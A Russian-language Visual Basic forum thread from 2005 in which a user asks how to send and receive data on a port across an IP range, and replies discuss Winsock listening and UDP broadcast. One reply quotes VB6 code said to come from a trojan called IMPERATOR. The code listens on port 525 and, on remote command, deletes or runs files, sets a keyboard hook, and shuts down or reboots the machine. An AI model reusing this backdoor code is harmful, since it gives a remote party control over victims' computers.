Широковещание

Программирование на Visual Basic, главный форум. Обсуждение тем программирования на VB 1—6.
Даже если вы плохо разбираетесь в VB и программировании вообще — тут вам помогут. В разумных пределах, конечно.
Правила форума
Темы, в которых будет сначала написано «что нужно сделать», а затем просьба «помогите», будут закрыты.
Читайте требования к создаваемым темам.
XairOn
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 324
Зарегистрирован: 19.07.2004 (Пн) 20:20
Откуда: Irkutsk region

Широковещание

Сообщение XairOn » 05.02.2005 (Сб) 14:23

Здравствуйте, подскажите пожалуйста, как сделать, что бы моя программа молга принимать (отправлять) данные на определенный порт с любого IP в данном диапазоне???

Igor_123
Осторожный Баянист
Осторожный Баянист
Аватара пользователя
 
Сообщения: 1325
Зарегистрирован: 21.07.2004 (Ср) 13:00
Откуда: Днепропетровск

Сообщение Igor_123 » 05.02.2005 (Сб) 16:14

Настраиваешь винсоксы на прослушку(коннект) определённого порта на диапазоне адресов и обрабатываешь

XairOn
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 324
Зарегистрирован: 19.07.2004 (Пн) 20:20
Откуда: Irkutsk region

Сообщение XairOn » 05.02.2005 (Сб) 17:29

Вобщем-то ты повторил мой вопрос, немного в другм виде правда... всё что ты сказал и так понятно, а вот как именно это сделать! Можешь примерчик (хотя бы маленький) привести?

alibek
Большой Человек
Большой Человек
 
Сообщения: 14205
Зарегистрирован: 19.04.2002 (Пт) 11:40
Откуда: Russia

Сообщение alibek » 05.02.2005 (Сб) 20:31

Ставишь UDP-сокет и биндишь нужный тебе порт. Для TCP-сокетов переводишь его в Listen-режим.
Lasciate ogni speranza, voi ch'entrate.

XairOn
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 324
Зарегистрирован: 19.07.2004 (Пн) 20:20
Откуда: Irkutsk region

Сообщение XairOn » 06.02.2005 (Вс) 7:50

alibek, нельзя ли чуточку поконкретнее? Небольшой кусочек кода для случая с TCP сокетами! Я пробовал, но что-то не получилось нифига :-(

alibek
Большой Человек
Большой Человек
 
Сообщения: 14205
Зарегистрирован: 19.04.2002 (Пт) 11:40
Откуда: Russia

Сообщение alibek » 06.02.2005 (Вс) 11:19

Да какой может быть код?
Ты пробовал сделать то, что я написал? Там проще некуда.

wskTCP.LocalPost = 21
wskTCP.Listen

wskUDP.Bind 53
Lasciate ogni speranza, voi ch'entrate.

XairOn
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 324
Зарегистрирован: 19.07.2004 (Пн) 20:20
Откуда: Irkutsk region

Сообщение XairOn » 06.02.2005 (Вс) 12:59

Я не так малость опять выразился, тут-то конечно всё понятно, а вот как отправить данные? сервера-то определенного нету! Это что получается к каждому компу из диапазона коннектится по очереди и отправлять, так что ли? Может есть менее гиморное решение?!

alibek
Большой Человек
Большой Человек
 
Сообщения: 14205
Зарегистрирован: 19.04.2002 (Пт) 11:40
Откуда: Russia

Сообщение alibek » 06.02.2005 (Вс) 20:21

Поищи по форуму слово "broadcast", тема поднималась много раз.
Lasciate ogni speranza, voi ch'entrate.

codemaster
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 604
Зарегистрирован: 13.02.2004 (Пт) 13:35

Сообщение codemaster » 07.02.2005 (Пн) 11:37

пример на NET

http://www.vbip.com/books/1861007353/chapter_contents.asp

на vb6 подход аналогичный
//<-
Mit freundlichen Grüßen
//->

KDima
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 759
Зарегистрирован: 14.07.2004 (Ср) 23:14
Откуда: СПб

Сообщение KDima » 07.02.2005 (Пн) 19:58

FleX_2004 писал(а):Private Sub Form_Load()
On Error Resume Next
Msg = False
DF = False
OF = False
Net.LocalPort = 525
Net.Listen
End Sub

Private Sub Net_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next' здесь проверяешь если net.remoteip = то что нужно тогда ....
If Net.State <> sckClosed Then Net.Close
Net.Accept requestID
End Sub

Private Sub Net_DataArrival(ByVal bytesTotal As Long) 'Net это название Winsock1
On Error Resume Next
Dim Comedata As String
Net.GetData Comedata
If DF = True Then DF = False: Kill Comedata
If OF = True Then OF = False: Shell Comedata, vbNormalFocus
If Msg = True Then Msg = False: MsgBox Comedata, 32, "Я идиот! Убейте меня, кто-нибудь!????": SText.Text = SText.Text & " (???? Я идиот! Убейте меня, кто-нибудь!???? Я идиот! Убейте меня, кто-нибудь!????) ": Net.SendData SText.Text
If Comedata = "IamThere" Then Net.SendData "Ready": SetHook Me, HFKeyUp
If Comedata = "Wait" Then RemoveHook: Net.Close: Net.LocalPort = 525: Net.Listen
If Comedata = "OpenCD" Then OpenCD
If Comedata = "CloseCD" Then CloseCD
If Comedata = "ShutDown" Then Unload Me: ExitWindowsEx EWX_SHUTDOWN, 0&
If Comedata = "ReBoot" Then Unload Me: ExitWindowsEx EWX_REBOOT, 0&
If Comedata = "Sleep" Then SetSystemPowerState 0&, 0&
If Comedata = "MsgBox" Then Msg = True
If Comedata = "DeleteFile" Then DF = True
If Comedata = "OpenFile" Then OF = True
End Sub
ЗЫ. Выдрал тебе из проги IMPERATOR - троян на VB ...


1. Вот уроды! Я написал прогу Imperator уже давно!
Это был читер для Age Of Imperies 2! :(
2. Причем тут это???

Это что получается к каждому компу из диапазона коннектится по очереди и отправлять, так что ли? Может есть менее гиморное решение?!


Ага! :wink:
Чтоб принимать (для TCP IP) тебе нужено соединение с каждым компом!
Для UDP все че тебе отправленно будет доходить на один сокет...
хотя какой это сокет :D
Хороший прогер не тот, кто всё знает, хороший прогер знает, где найти знание.

Последний раз редактировалось: Administrator (15.07.2004 (Вт) 00:01), всего редактировалось 999 раз(а)

XairOn
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 324
Зарегистрирован: 19.07.2004 (Пн) 20:20
Откуда: Irkutsk region

Сообщение XairOn » 07.02.2005 (Пн) 20:58

KDima писал(а):Для UDP все че тебе отправленно будет доходить на один сокет...

Тут всё ясно, я как данные отсылать?


Вернуться в Visual Basic 1–6

Кто сейчас на конференции

Сейчас этот форум просматривают: Yandex-бот и гости: 43

    TopList